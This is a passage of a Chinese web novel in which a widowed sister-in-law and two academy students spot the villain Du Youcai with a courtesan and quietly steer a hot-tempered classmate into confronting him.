杜衡心里一咯噔,觉得这话不太对,被人听到只怕会误会,想开口补救,心里却又隐隐期盼着什么。 高娇娇被问的怔了下,摆手道, “不是我绣的,我不会绣。” “哦,原来是买的啊,挺好看的,在哪儿买的?我也去买一个来带带。” 凌十三随口说着,伸手就要拨弄荷包下面的穗子,却被杜衡一巴掌打开。 杜衡这一下用了很大力,打的凌十三手背上顿时一片红,疼的他龇牙咧嘴,瞪眼吼道, “你干嘛?摸一下怎么了?” “别随便动手动脚,没规矩!” 杜衡板着脸,抿着唇,看似是在嫌弃凌十三,实则是有些压不住心里莫名其妙的烦闷了。 他也不知道自己是怎么了,明知道这不可能是嫂嫂绣给他的荷包,可听到嫂嫂否认,还是免不了心里堵得慌。 凌十三还不识相,非要往枪口上撞,他这火气便有些压不住了。 凌十三也气得很,他把自己当杜衡的至交好友,对杜衡掏心掏肺,但凡有好东西总是想着他。 可杜衡呢,对他是百般嫌弃看不上,连个荷包都不让他碰,这哪儿是把他当朋友? 这分明是把他当臭虫屎壳郎嫌弃呢! 高娇娇怎么也没想到俩人为了个荷包闹成这样,见一个板着脸垂着眼不吭声,一个气鼓鼓瞪着眼也不吭声。 忙掏出掉到她挎包底下夹层里头,好不容易才拽出来的另一个荷包,递给凌十三道, “这是我三嫂她们工坊出的新品,让我送你们俩一人一个,说最近世道不太平,带上这个保平安。 你俩也真是,都这么大了,又不是小娃娃,还能动不动就翻脸啊,让人看了笑话。” 凌十三见自己也有份,顿时高兴了起来。 接过荷包就挂在了腰上,用手撩着穗子冲杜衡显摆, “嘿,我也有了,不稀罕你的,小气鬼。” 杜衡本来就堵的心,见凌十三这般更堵的慌,冷哼一声,撇过头不理会这个憨货。 凌十三还想转到杜衡面前显摆,被实在看不过眼的高娇娇一把拽住,拖上马车,连声催促杜衡道, “走了,天不早了,去完绣坊我还有事呢。” 理智战胜了情绪,杜衡恢复了以往的冷静,上了车关切问道, “嫂嫂还要办什么事?有什么是我们能帮上忙的吗?” “我要给春花买个首饰当陪嫁,给小梅她们买点头绳绢花,再去买点油盐酱醋,最后去粮铺找我爹他们。 趁着这次来的人多,再买点粮食回去,今年这天儿不太正常,粮食收成不好说,多买点粮食备着心里才有底。 对了,我还得去牙行问问寻亲的事,还有二宝他们要用的笔墨纸砚.........” 高娇娇越想越多,忙从挎包里拿出小本本,用炭笔又记上几笔。 凌十三见高娇娇的炭笔用着很是方便,不由很是眼馋,用胳膊肘杵了杜衡一下,小声道, “要是咱们夫子也让咱们用炭笔写字就好了,我觉得你嫂嫂自己做的这个笔,写字又快又好,比毛笔方便多了。” 杜衡无奈地在心里叹了口气,有的时候他也有点羡慕凌十三。 没心没肺,万事不往心里放,转头就不在意他俩刚才闹僵了的事,就能跟没事人一样跟他叽叽咕咕。 卢巧慧见高娇娇过来,还带了两个穿着九川书院学子服的年轻书生,不由一愣。 在看清杜衡长相时,更是忍不住在心中赞叹,这书生长得可真好看,鼻子是鼻子眼睛是眼睛,跟画上的人一般。 高娇娇拿出绣品,卢巧慧一一看过,满意点头道, “这些绣品都不错,就按之前咱们说好的,一个我给你算五文钱工钱。” 高娇娇见卢巧慧揣着明白装糊涂,故意忽略她单独放着的那套荷包,把所有绣品都混为一谈,便点着那套绣品直接道, “这可是一整套,也按五文一个可不行。” 卢巧慧故作为难道, “妹子,咱们之前可都说好的啊,你这临时涨价,以后咱们这买卖怕是不好做。” 高娇娇笑容加深,但眼神却冷了下来,这是想拿以后的合作拿捏她呢,真当她离了她这绣坊不能活了。 “既然姐姐为难,那这套荷包我们就不卖了,正好也快过节了,就让我弟弟拿去书院送同窗吧。” 说着,高娇娇就要把盒子盖上。 卢巧慧忙拦着,陪着笑脸道, “哎呀,妹子你可真是个急性子,我话都没说完呢,你急什么啊?” “嫂嫂,书院同窗都可喜欢我这个荷包了,找我要呢,你还是别卖了,直接给我好了。” 杜衡突然插话,微微抬着下巴,好似一个不知人间疾苦,只知道和同窗玩乐的小少爷。 凌十三险些惊掉下巴,杜衡居然会说这种话? 这小子抠门又清高,在书院里除了跟他来往多一点,对别人都是淡淡的。 在连着考了两次第一后,甲班里几乎都没人敢主动跟他攀谈了。 更何况,这荷包不是今天嫂嫂才给他们的吗? 第二百四十八章 被判出局 凌十三刚要张嘴,就被杜衡踢了下。 见杜衡瞪着自己,凌十三忙把嘴闭上了,但还是没忍住晃了晃腰间的荷包,生怕卢巧慧看不到。 高娇娇笑着冲卢巧慧道, “让姐姐看笑话了,我这弟弟只知道读书,不懂生意。” 说完扭头训斥杜衡道, “这是绣坊的绣品,是拿来卖钱的,不是给你玩的。 你若真想要,回头我让她们再给你绣更好的。” 杜衡不满道, “我就觉得这个好,家里又不指着这点东西赚钱,给了我又能怎样?” 高娇娇瞪眼,拍了杜衡胳膊一下,用眼神示意他闭嘴。 杜衡不服气,但还是乖乖闭上了嘴巴。 凌十三看不懂他俩这是在干啥,只觉得跟平日里很不一样。 卢巧慧看到高娇娇和杜衡的眉眼官司,心中对高娇娇的家世背景有了重新的估量。 能送孩子去九川书院读书的人家,肯定不一般。 看这书生这副小少爷做派,这丫头之前怕是在装穷糊弄她呢,难怪逃荒来的还能办起来作坊,小小年纪心机可真深啊。 收起原本的轻视态度,卢巧慧本着哪怕不能交好,也最好别交恶的心思,给了高娇娇一个比较实诚的价钱, “妹子,实不相瞒,你这套十二花神荷包,姐姐我啊是真的喜欢。 咱们既然合作了,就要往长远了走,这样,这套荷包我一个给十文钱工钱,你看怎么样?” 高娇娇见卢巧慧直接给到了十文,知道她也是诚意满满了,便没再犹豫,点头应下。 双方结算了工钱,高娇娇领了下次要交货的原材料,买了绣坊需要的东西,便同卢巧慧告辞离开了。 卢巧慧殷勤的送他们到了门口,见他们是赶着马车来的,对他们的实力有了更进一步的认识。 道别时,犹豫了下,还是试探性问道, “妹子,你这两个弟弟可有订亲?我表叔家有个闺女,年方二八,生的貌美如花,还没定下呢,你——” “嫂嫂,咱们快些走吧,我们急着回书院呢。” 杜衡突然打断了卢巧慧的话,冲她拱了拱手道, “告辞。” 凌十三其实还想听听那个貌美如花的姑娘,但杜衡都这么说了,他也只能跟着拱手道, “告辞。” 他俩都已经跟人家告辞了,高娇娇也只得收起八卦之心,一甩马鞭走人了。 等马车走远,高娇娇忍不住问杜衡, “说起来你年纪也不小了,我是不是也该帮着你打听打听,你想找个什么样的姑娘?” 杜衡本就板着的脸,顿时更冷了。 他硬邦邦回了句, “我还小,不想那么早成亲,只想好好读书,早点考取功名。” 高娇娇自讨没趣,讪讪摸了摸鼻尖。 这小子可真不好玩,整天一本正经的跟个小老头似的。 凌十三却从后头探出头来,一脸热切冲高娇娇道, “嫂嫂,嫂嫂,我想成亲,你帮我打听打听呗。” 高娇娇立马来了兴致,好奇问道, “你想找个什么样的?说来听听。” 凌十三一脸认真道, “我啊,想找个长得好看脾气还好还能干的,会做饭,会管家,能赚钱。 最好我什么心都不用操,她就能把家里打理的井井有条,我给她一百两,她就能给我赚二百两。 这样,我就不用费劲考功名,也能过的美滋滋了。 最好,她家世再好一点,聪明一点,会读书一点,家里要是有个当官的兄弟就更好了。 我娘就再也不用念叨我了,我没出息不打紧,我媳妇有出息就行啊。 将来要是能给我生个更有出息的儿子闺女,我这辈子都不用再努力了.......” 高娇娇无语至极,伸出一根手指在凌十三面前晃了晃。 凌十三急了,扯住高娇娇衣袖连声道, “不是,嫂嫂,你不打听打听怎么就知道不行呢? 保不齐世上就有这样的姑娘,偏就喜欢我这样的呢。” 高娇娇淡定解释道, “我不是觉得你不行,我是觉得我不行。 按你这要求,那姑娘得多眼瞎才能看上你啊? 你别找我帮忙了,你直接去庙里,去求那许愿池里的王八,兴许有可能。” 凌十三哭兮兮,不是,他这个要求很过分吗? 他不过就是想吃个软饭,实在不行,他也可以上门啊! 杜衡唇角上扬,心中郁闷一扫而空。 刚到家那晚,吃过饭,他去厨房帮着洗碗收拾的时候,高大娘明里暗里跟他打听了不少凌十三的情况。 一开始他还以为大娘是担心他交友不慎,是在询问凌十三的人品性情,直到大娘问起凌十三有没有娶亲,杜衡才觉出不对来。 再想到听到过高家人对嫂嫂未来的担心,杜衡大概猜到了大娘的心思。 大哥去世多半年了,大娘他们开始为嫂嫂谋划婚事了。 这让杜衡很是焦躁不安,理智上他能理解高家人的做法,情感上却怎么也接受不了。 只要一想到嫂嫂要再嫁,甚至嫁给像凌十三这样不靠谱的人,他心里就跟堵了块石头一样难受。 现在听到凌十三这番话,听到嫂嫂对他的评价,杜衡这心一下子就落回了肚子,彻底舒坦了。 凌十三在什么都不知道的情况下,已经被判出局,还不甘心的拉着杜衡絮絮叨叨。 虽然他是独生子,但他真的愿意入赘啊,没谁规定了男人就不能吃软饭,他真不是读书那块料,只要能让他不读书,他不怕被人笑话。 杜衡十分有耐心地听着凌十三抱怨,时不时还劝解几句,偷偷看两眼高娇娇,见她摇头叹息,心中暗爽。 这下,嫂嫂该看清凌十三好吃懒做不求上进的真面目了吧。 虽然嫂嫂看上凌十三的可能性微乎其微,但只要有一丁点威胁,杜衡都不会放过。 斩草不除根,春风吹又生,他这人,就是小心眼的很。 高娇娇虽然很嫌弃凌十三的幼稚,但每个人都有自己的活法,她也没想要去纠正,更不会多说些什么。 只是彻底死了撮合杜映梅和凌十三的心,盘算着接下来要干的事,规划着一趟就能跑完的路线。 先去杂货铺买油盐酱醋,腌咸菜要用的酱缸,草纸灯油蜡烛灯杂七杂八的。 然后去首饰铺买首饰,买完顺路去牙行问问情况,最后到小院附近买笔墨纸砚。 盘算妥当,做起来就很顺利。 只是在出首饰铺子的时候,高娇娇无意中看到,刚才在铺子里出手十分阔绰,眼不眨就买了一百多两首饰的女子,上了一辆青篷马车。 那马车的车帘挑的很开,露出一个男子张扬的笑脸。 那志得意满,眼歪嘴斜的样子,分明就是杜有才那个混蛋。 只见那穿着桃红窄袖比甲,把腰身勾勒的细细一条,走路一摇三摆,满头珠翠打扮的很是妖娆的妙龄女子。 刚踩着上马凳上了马车,马车里就探出一条手臂,一把搂住女子的腰,把她扯进了车厢里。 马车潞潞前行,车厢里传出轻佻的笑声,风吹动车帘,隐约能看到两个抱作一团的人影。 高娇娇不由皱起了眉头,杜有才不是才娶了知府的小姨子吗? 可刚才那女子的打扮,出门连个丫鬟都不带,上马车还把裙子掀起来那么高,实在不像是大户人家夫人的做派。 还有杜有才对她的态度,过于轻佻,一点也没有对正室夫人的敬重。 再加上杜有才劣迹斑斑,高娇娇怀疑,那个女子很可能不是杜有才的新婚妻子。 第二百四十九章 偶遇 杜衡见高娇娇一直盯着一辆马车瞧,不由问道, “嫂嫂,怎么了?” “没什么,先上车。” 高娇娇不欲在人家店门口说这些,带着杜衡和凌十三上了马车,才说出自己的怀疑。 凌十三听到杜有才这个名字脸色就不好了,立刻道, “不用怀疑,那女子铁定不是乔氏,乔氏身娇体弱,从没一个人出过门。 走路都得人扶着,去哪儿都带着那个老嬷嬷,我但凡见她,她身边都跟着两三个伺候的。” 杜衡不在意那个女子是谁,他只关心杜有才突然来岚县做什么。 高娇娇一甩马鞭,沉声道, “不管他要干什么,肯定不会干好事。 咱们跟过去看看,你俩穿的学子服太显眼,一会儿躲在车厢里,千万别露面。” 杜衡忙问, “那你呢?杜有才见过你,肯定记得你的长相。” “这简单,我把脸蒙住就行了。” 高娇娇说着,把裹头的布往上一拉,把头脸都包住,只剩一双眼睛露在外面。 西北风沙大,赶车的人都是这副打扮,为了方便,进了城懒得摘下头布的人也多的是,她弄成这样,一点也不会引人注意。 杜衡放下心来,跟凌十三老老实实躲在车厢里,透过车帘的缝隙偷偷看着外面。 高娇娇追着那辆青篷马车,绕了两条街,到了一个胡同跟前。 胡同狭窄,马车不能通行,青篷马车停了下来。 高娇娇看了下四周,将自己的马车赶到路口拐角,借着房屋阻挡,盯着青篷马车那边的情况。 只见杜有才先跳下马车,接着伸出手,接住了从马车里走出来的女子。 女子站在马车上,径直跳入杜有才怀里。 被杜有才接个满怀,抱了下来。 女子双手挂在杜有才脖子上,扭动了两下,咬着杜有才耳朵不知说了句什么。 杜有才哈哈大笑,拍了女子臀部两下,又在她脸上亲了一口,这才放开。 女子甩了甩帕子,一步三回头往胡同里走。 杜有才过了会儿才上了马车,车夫掉头重新走回了主街。 高娇娇立刻跟上,见杜有才最终停到了一个客栈门前,进了客栈。 过了好一会儿也没出来,这才意识到他应该是住在这间客栈里。 杜衡皱眉有些不解, “看那女子的行事做派,应是杜有才在外面养的妾室,怎地杜有才不同她住一起,反倒住在客栈里呢?” “兴许是为了谈生意方便?” 高娇娇也有点困惑,那条胡同她知道,之前买铺面的时候听牙行的人说过。 因那片离主街近,出入方便,胡同两头靠近主街的位置也有一些铺面,要不是价钱太高,离书院有些远,她都想买一个用来出租。 那边的租金可比她现在那个小院高不少呢,还容易出租的多。 能在那个地方安置外室,还能供着外室挥土如金,看来杜有才最近赚了不少,当然也可能是从那位人傻钱多的乔氏手里骗了不少。 凌十三挠了挠头,又抓了抓脸,忍了又忍,实在忍不住了,小声道, “那个女子应该不是杜有才的外室,可能是春香院的花娘。” 高娇娇还没反应过来春香院是什么地方,杜衡已经气的脸色通红,指着凌十三的鼻尖骂了起来, “你,你不知廉耻,居然去那种腌臜地方鬼混!” “我可没去过,我是听别人说的,你可别冤枉我。” 凌十三立刻否认,还拉出人证极力证明自己的清白, “不信你回书院了问徐六,他前几天过生辰,偷偷带酒进来喝,害的我们被夫子逮住那回。 他喝多了亲口说的,春香院的头牌小桃红是他的相好,还说等放假了,带我们去春香院喝花酒........” 在杜衡充满鄙夷的怒视中,凌十三的声音越来越小,头越来越低, “我就是有点好奇,多问了几句,真没想过要去。 你知道我家里管我管的有多严,我要去那种地方,被我家里人知道了,非把我的腿打断了不可。” 杜衡回以冷哼,狗屁的好奇,连地方都打听清楚了,分明就是想去,敢做不敢认,算什么男人? 高娇娇也一脸失望道, “本来想着你虽脑子不聪明,但为人仗义,也算是可交之人。 没想到你竟然跟那种酒色之徒鬼混,还想去喝花酒,真是太叫我失望了。 色字头上一把刀,从古至今,贪财好色之徒就没几个好下场,你啊,唉.......” 凌十三被高娇娇和杜衡弄的都快哭了,恨不得指天发誓, “你们信我,我真没想过要去,我知道轻重的,跟徐六他们来往,不过是想多结交一些人脉。 免得那些本地人老觉得咱们外来的好欺负,万一有事,不也有人能帮着咱们点嘛。 我承认,我是有点贪恋美色,可我真没做过什么啊,我顶多就是看点那种话本子,买两张避火,唔——” 杜衡眼疾手快,一把捂住了凌十三的嘴。 这个憨货疯了吧,居然当着他嫂嫂的面说什么避火图,那种污秽的东西,也是他嫂嫂能听的?! 凌十三后知后觉,意识到自己为了解释清楚,该说的不该说的都说了,顿时脸红脖子粗,恨不得把头缩进脖子里。 高娇娇忍不住想笑,但眼下气氛太微妙,实在不适合发笑,只能强忍着故作淡定道, “咱们还是说说杜有才吧,他来岚县肯定不会只是为了寻欢作乐,肯定另有目的,咱们得想办法打探一下。” 凌十三立功心切,掰开杜衡捂着他的手,急忙道, “我去打探,这个我擅长。” 高娇娇点头,凌十三便整理了下衣衫,去街口摆摊的小贩那里假装买东西,攀谈了起来。 然后小贩就去了客栈,过了会儿,出来跟凌十三说了一通话,凌十三买了他一包东西,便走了回来。 “嫂嫂,打听清楚了,杜有才来岚县是为了采买药材。” 凌十三说着,把那包东西递给了高娇娇。 高娇娇打开一看,竟然是水晶柿饼,个个红通通,看着好看的很。 “这个我吃过,可甜了,嫂嫂快尝尝。” 凌十三殷勤的拿起一个,递到高娇娇手里,笑着道, “那个摊主已经在这儿摆摊好几年了,跟客栈的掌柜伙计都熟的很。 我谎称家中姐妹被无耻之徒拐骗,请他帮忙去客栈问一问有没有从并州府来的年轻男人。 摊主说客栈里只有一位并州府来的年轻男人,已经住进来六七天了,姓杜,是个药商,来采买药材。 但是没带什么姑娘来,不过包了春香院的小桃红,俩人出双入对,吃喝玩乐,很是快活。 客栈的伙计还说,这个药商明日就要回并州府了,听说采买了两大车药材,花了上千两银子呢。” 第二百五十章 借刀杀人 高娇娇挑了挑眉,一出手就是上千两,杜有才这软饭吃的可真香。 杜衡拧紧了眉,杜有才父子视他为眼中钉肉中刺,现在有了乔氏这个助力,肯定不会放过他。 可杜有才来了岚县这么久,居然没去找他麻烦。 难道是不知道他去了九川书院? 不对,嫂嫂可是在公告栏上贴了寻亲的告示,杜有才在城里待了好几天,不可能没看见。 再说他只要有心,去衙门打听一下就能问出他们落户的地方。 这么多天没主动去找他们,却有功夫包花娘吃喝玩乐,怎么想都不太对劲。 凌十三对杜有才恨之入骨,好不容易逮到机会,就想狠狠报复回去, “我这就找人捎信回去,让我娘想办法把杜有才在岚县包花娘的事告诉乔氏,让乔氏看清杜有才的真面目,最好一气之下休了他!” 高娇娇摇头, “这个法子不行。” “为啥不行?女人最爱吃醋,乔氏即便再柔弱,也受不了刚成婚杜有才就在外头花天酒地吧?” 凌十三急了,他觉得这可是千载难逢的好机会,放过就太可惜了。 高娇娇叹了口气道, “人只相信自己看到的,乔氏又没有亲眼所见,她身边的人都被杜家父子收买了,肯定会帮他们说话。 杜有才再指天发誓表表忠心,就能将这事糊弄过去,乔氏要真是个有主见的硬骨头,也不会被到这个地步了。” 杜衡点头赞同道, “嫂嫂说得有理,单凭这件事,不足以让乔氏厌弃了杜有才,咱们轻举妄动,只会打草惊蛇。” 凌十三不甘心,气闷道, “那咱们就什么都不做,就看这个混蛋风风光光赚大钱?” 高娇娇笑了起来, “眼看他起朱楼,眼看他宴宾客,眼看他楼塌了! 十三啊,别急,站得越高,才会摔的越惨。” 凌十三急得挠头, “嫂嫂,你就别卖关子了,我读书上不开窍,你不说明白点我听不懂啊。” 杜衡注视着高娇娇,眼睛亮晶晶,忍不住重复她的话, “眼看他起朱楼,眼看他宴宾客,眼看他楼塌了! 妙,真妙啊,嫂嫂这话说的可太好了,咱们就该按兵不动,坐等他楼塌了。” 凌十三气得跺脚,瞪着杜衡吼, “说人话!” 杜衡白了他一眼,没好气道, “有空了多读点书吧,连这个都不懂,得意使人忘形,狐狸尾巴藏不住。 杜有才那般肤浅势利的一个人,越是风光越是沉不住气,乔氏只要不是个彻头彻尾的傻瓜,肯定能察觉出异样。 咱们现在要做的是暗中调查,搜集证据,等到乔氏忍无可忍,奋起反抗之际,帮她将杜有才父子彻底踩死碾成渣!” 凌十三总算是听明白了,咧嘴乐道, “好好好,只要能让他们原形毕露,恶有恶报,你们说怎么办我就怎么办。” 高娇娇冲凌十三招手,凌十三颠颠凑过去,只听高娇娇小声道, “你不是说徐六吹牛说小桃红是他相好嘛,那你就想办法把杜有才包了小桃红的消息透露给徐六。” 凌十三顿时兴奋万分,两眼放光道, “嫂嫂,你是想让我撺掇徐六去捉奸,哈哈哈,徐六他爹可是衙门的捕头,那小子还会点拳脚功夫呢。” “不不不,我没让你撺掇,你也绝对不许撺掇,知道吗?” 高娇娇立刻否认,十分严肃道, “你把我接下来要说的话,刻到脑子里。 你是无意中看到小桃红跟一个男人卿卿我我,当做新鲜事随口告诉了徐六。 至于徐六要做什么想做什么会做什么,你什么都不知道,记住了没?” 凌十三傻愣愣地瞪着眼,嫂嫂这话是什么意思,怎么听着有点怪怪的? 杜衡捶了凌十三一拳道, “你别动脑子,你一动脑子我就头疼,嫂嫂怎么说你就怎么做,千万别自己发挥,记住了没?” 凌十三苦着脸委屈道, “可你们总要告诉我为啥要这么做吧?” 杜衡板着脸,没好气道, “告诉你你就做不好了,你还想不想找杜有才报仇了? 想想他当初是怎么利用你们,羞辱你们的,你难道想一辈子都被他那样的人看不起?” 凌十三被挑起了新仇旧怨,黑沉着脸道, “行了,你少给我拱火了,我现在已经憋了一肚子火了。 就按你们说的做!咱们这就回书院!” 高娇娇忙拦着, “不急,等我忙完了一起吃个饭,就当提前庆祝了。 老天爷让咱们这时候遇到杜有才,就是提醒咱们,坏人的报应就要来了。” 这话凌十三爱听,脸色顿时缓和了不少,使劲点头道, “行,咱们去吃顿好的,好好庆祝一下!” 见高娇娇一句话就安抚住了凌十三,杜衡忍不住在心中赞叹,不愧是他嫂嫂啊。 凌十三是个心里藏不住事的人,他现在这么气呼呼回书院,根本不可能做到心平气和透露消息给徐六。 等吃了饭,心情好了,他再回书院办这件事,才能水到渠成。 不管徐六会不会为了一个欢场女子去找杜有才麻烦,把这件事透露给更多的人知道,本身就是给杜有才制造麻烦。 要是徐六一时脑热去找了杜有才,把事情闹大,即便传不到乔氏耳中,也会传到知府夫人耳中。 知府夫人即便现在不想管,也会在心里给杜有才记一笔,等到想管的时候,就可以一并算总账了。 高娇娇的目的很简单,就是给杜有才挖坑,但是不想惊动杜有才,所以才借徐六的手。 杜衡觉得他嫂嫂的厉害之处就在于此,悄无声息借刀杀人,万一事发还能让凌十三置身事外。 这一环套一环,不过一念间,他嫂嫂真是一等一的聪明人。 高娇娇三人说定此事,掉头去了牙行。 牙行那边没什么进展,但是高娇娇从牙行管事随口说的一件事中,察觉到了危险。 管事说几天前,有两个小乞丐过来认亲。 上来就不停追问高娇娇他们现在落户地方的具体位置,却在讲述自己跟家人走散的过程时,时间地点都跟高娇娇特意给管事留的纸条上的内容对不上。 管事说这个是想感叹现在骗子多,他们为了甄别是真来认亲的还是冒充的费了很大功夫,绝对对得起高娇娇付的这点钱。 高娇娇却怀疑那两个小乞丐是杜有才派来的,为的是打探他们的落户地点。 因为小乞丐过来认亲的时间,跟客栈伙计说的杜有才来到岚县的时间对上了。 还有就是单凭两个不到十岁的小孩,不可能从那么老远的地方自己来到岚县,并在衙门不允许难民进城后,还能在城里靠乞讨为生。 所以最大的可能是那两个小乞丐,在衙门禁止难民入城之前就进来了,甚至他们根本就是本地人,一直靠乞讨为生。 有人花钱雇他们来打探消息,而且那人还不想被人知道是他在打探,才安排了最不起眼的小乞丐过来。 能这么大费周章打探他们的情况,还生怕被人知道的,除了杜有才,不会有别人了。 只可惜管事认定小乞丐是骗子后,就把人赶走了。 既没有追查两个小乞丐的身份,也没派人跟踪他们,所以无法断定背后之人是不是杜有才。 不过高娇娇也不纠结这点,反正她单方面认定就是杜有才了。 哪怕不是,这口黑锅也得杜有才背,他们跟杜有才势不两立,早晚必有一战,他不背锅谁背锅。 从牙行出来,三人去吃了凌十三心心念念的水盆羊肉,还有牛肉火烧。 吃饱喝足,回到小院,高娇娇去附近书局买笔墨纸砚,等高长天他们过来,一起去了粮铺就回家。 杜衡和凌十三背起包袱回书院,俩人在书院大门口假装起了争执,杜衡自顾自先进了书院,凌十三坐在茶摊上气呼呼喝茶。 一壶茶还没喝完,就听到徐六扯着嗓子喊, “凌十三,你小子怎么自己一个人坐在这儿? 杜衡呢?你俩不是整天形影不离的吗?” 第二百五十一章 得罪到底 凌十三演了这么半天,等的就是徐六。 听到他问,扭头没好气道, “提那个扫兴的人作甚?你今儿怎地来的这么早,书院大门都还没关呢。” 徐六屁颠颠下了马车,单指勾着个小包袱,吊儿郎当走过来,大咧咧往凌十三旁边一坐,叹气道, “你当我想啊,那还不是我老娘,嫌我考的太差,非逼着我早点来。” 凌十三给徐六倒了杯茶,一脸感同身受道, “我还不是一样,怕被老娘打都没敢回家,结果被杜衡唠叨个没完,这么早就让我回书院,还让我背书。 我看见书本就犯恶心,还背书? 背个毛啊! 我要是读书那块料儿,早就考中秀才了,哪儿还会被逼成这样。” 徐六深以为然,他都说了八百遍不想读书,想子承父业当捕快,哪怕一天到晚去巡街,天天值夜他都乐意。 可他爹娘就是不肯,还整天骂他没出息。 他就想不明白了,难道这世上除了读书考功名,就没别的路可走了? 两人同命相怜,满腹抱怨,越说越投机,越说越投缘。 说着说着就说到了春香院,徐六郁闷道, “我最近也不知走了什么霉运,事事不顺。 好不容易逮着机会出了门,小桃红还染上了风寒不见客,搞的我连她的小手都没摸到。” 终于等到了机会,凌十三立刻惊讶道, “你说啥? 小桃红不见客? 可我今儿在街上还见到小桃红了啊!” 这下轮到徐六震惊了,他急忙抓着凌十三追问。 凌十三便将自己无意中看到小桃红上了一辆马车的经过说了出来,严格按照高娇娇的吩咐,不具体描述。 只含糊说看了两眼,着重突出男人一把将小桃红搂入车中,马车经过时,听到了里头的笑声。 徐六气的脸都绿了,恶狠狠骂了句, “小娼妇,居然还耍小爷!” 就猛地站了起来,抬脚要走。 凌十三一把拽住徐六,连声道, “兄弟,你要干啥? 书院马上就要关门了,咱们得赶紧进去!” “你替我请个假,就说,就说我家里有急事。” 徐六甩开凌十三,包袱也不要了,拔腿就走。 凌十三赶紧追上去,想要拉住徐六,徐六猛地回头瞪着他吼, “你要是还当我是兄弟,就别拦着我!” “我,我不是要拦你,我兴许是看错了也不一定,你先跟我回书院,回头打听清楚了再说.......” 凌十三苦口婆心,一脸后悔自己多嘴,紧追着徐六不放。 徐六本来就是个暴躁直肠子,要不也不会跟凌十三这么投缘,凌十三不劝还好,越劝他这火气越压不住。 见凌十三跟狗皮膏药一样紧跟在后头,徐六干脆一脚把他给踹翻,拦下一辆刚送完人正要返回的马车,直奔春香院。 凌十三跌坐在地上,高喊了几声,见马车走远,这才捂着肚子走回茶摊,拿上自己和徐六的包袱。 茶摊伙计满脸八卦,故作关切过来询问。 凌十三苦笑着摆手说自己没事,就急匆匆进了书院大门。 前脚刚踏入书院大门,后脚守门人就把大门给关了。 听到大门关闭的声音,凌十三实在按捺不住成功的喜悦,高高扬起了唇角。 但不过片刻,他就掐着大腿压下了笑意。 按照杜衡叮嘱的,装作一副惊慌无措的样子冲到号舍,找到跟徐六交好的几人商量对策。 就在徐六一鼓作气冲到春香院时,他冲冠一怒为红颜的事,已经悄无声息在书院传开了。 徐六在春香院大发脾气,老鸨为了不引火烧身,只得透露出杜有才的身份。 再三强调她也是碍于杜有才是知府大人的连襟,实在不敢得罪,才让小桃红出去作陪的。 徐六一开始还差点被唬住了,毕竟他爹只是个衙门的小捕头,跟知府大人比起来,屁也不算。 可仔细一想,他好像在哪儿听过知府大人家的八卦,再一回想,不由拍腿指着老鸨的鼻子大骂, “好你个老货,居然敢拿那种下流货色来吓唬小爷。 你当小爷不知道呢,知府大人才不认这个便宜连襟呢。 那个姓杜的就是个破落户,知府夫人可怜他,让他当了护院。 他非但不知感恩,还千方百计拐骗了夫人的表妹,都把夫人给气病了。 他俩成亲的时候,知府大人和夫人都没出席,只让下人去送了个礼,压根不认这门亲戚。 你还敢拿姓杜的来压小爷,逼着小桃红出去陪客。 小爷我可是真金白银花了钱,一月五十两银子包着小桃红呢.......” 老鸨一听这话眼珠乱转,哭天喊地说自己也是被杜有才给骗了。 为了赢得徐六的信任,还把杜有才住在哪个客栈,从哪些药商手中采买了多少药材,都统统告诉了徐六。 徐六立刻杀去客栈,把刚换好衣服,准备去赴宴的杜有才揪住狠狠揍了一顿。 杜有才借着知府的名头,在生意场上无往不利,尤其这种小地方无权无势只有钱的商人,对他都是巴结的很。 知道他明日要走,特意设宴为他送行。 哪知被徐六这个莽夫一脚踹开了门,一把揪住了衣襟,然后劈头盖脸一通骂,沙包大的拳头一个劲儿往脸上打。 客栈掌柜听到杜有才的惨叫,急忙跑上楼。 见徐六把杜有才摁在地上,一拳接一拳,打的杜有才满嘴流血,生怕闹出人命,忙不迭喊着伙计去衙门报案。 徐捕头做梦也没想到,前脚刚把儿子送出门,后脚就接到报案,然后眼睁睁看着手下把儿子抓回了衙门。 虽然丢尽了脸,但毕竟是亲爹,他不能眼睁睁看着儿子惹上官司。 于是,在徐捕头的强势偏袒下,徐六的单方面殴打,被说成了双方互殴。 然后又揪着杜有才采买药材没有在衙门报备这点,把徐六说成了发现奸商故意抬高药材价格,一时义愤填膺才会冲动行事的热血少年。 徐六虽然莽,但从小耳濡目染之下,对衙门里这些弯弯绕绕还是比较了解的。 知道亲爹这是在救他,十分配合,只字不提自己是为了小桃红争风吃醋。 只说总听同窗说药价飞涨百姓看不起病,十分恼恨奸猾药商,恰好遇到大肆采买药材的杜有才,便没忍住动了手。 知县大人明知这个案子有猫腻,可一边是得力下属的儿子,一边是知府大人虽然不认,但说不定哪天也许会认的亲戚,实在不能太较真,只能睁只眼闭只眼。 训斥一番,罚了点钱,就放了两人。 出了衙门,徐六趁没人注意,恶狠狠冲杜有才道, “以后不准你再来找小桃红,不然小爷见你一次,打你一次!” 杜有才捂着青紫红肿的脸,眼里淬毒,毫不示弱, “你给爷等着,爷早晚弄死你!” “小爷等着呢,孙子,看咱俩谁先弄死谁!” 徐六更不客气,岚县可是他的地盘,他还能怕了这个吃软饭的怂货。 徐捕头咬着后槽牙,狠狠拍了徐六后脑勺一下。 徐六立刻收回凶狠表情,变回缩头王八。 把儿子叫回家,狠狠骂了一通,又踹了几脚后,徐捕头提着一坛好酒去了师爷家。 儿子虽然混账,但那也是亲生的,捅出来的烂摊子,当亲爹的不能不管。 姓杜的小子一看就是个小心眼爱记仇的,既然已经得罪了,那就得罪到底吧。 一番推杯换盏后,师爷终于点了头,徐捕头心满意足回了家。 次日一早,杜有才捂着肿的跟猪头一样的脸,早早就带着药材就赶到了城门口。 尽管在徐六面前放了狠话,杜有才还是被打怕了,强龙不压地头蛇,他孤身一人,实在不好跟那对父子硬碰硬。 好汉不吃眼前亏,还是先走为上。 等回了并州府,他跟爹好好商量商量,一定能找到机会跟姓徐的讨回这笔账。 不过一个小捕头,还真把自己当地头蛇了,哼,只要他稍稍动些手脚,就能让那老头差事不保。 没想到,到了城门口,杜有才的货却被守城的官兵扣下了。 理由是他没有衙门采买药材的文书,不能带这么多药材出城。 杜有才气的破口大骂,可无论他怎么骂,守城官兵就这一句话: 人可以走,药材必须留下。 第二百五十二章 试探一下 万般无奈之下,杜有才只得把货先留下,他怕自己再闹下去,连人也走不了。 只要回了并州府,让爹想办法再去给夫人送点礼,求夫人发句话。 他就不信,岚县这帮人还敢私吞了他的货不成。 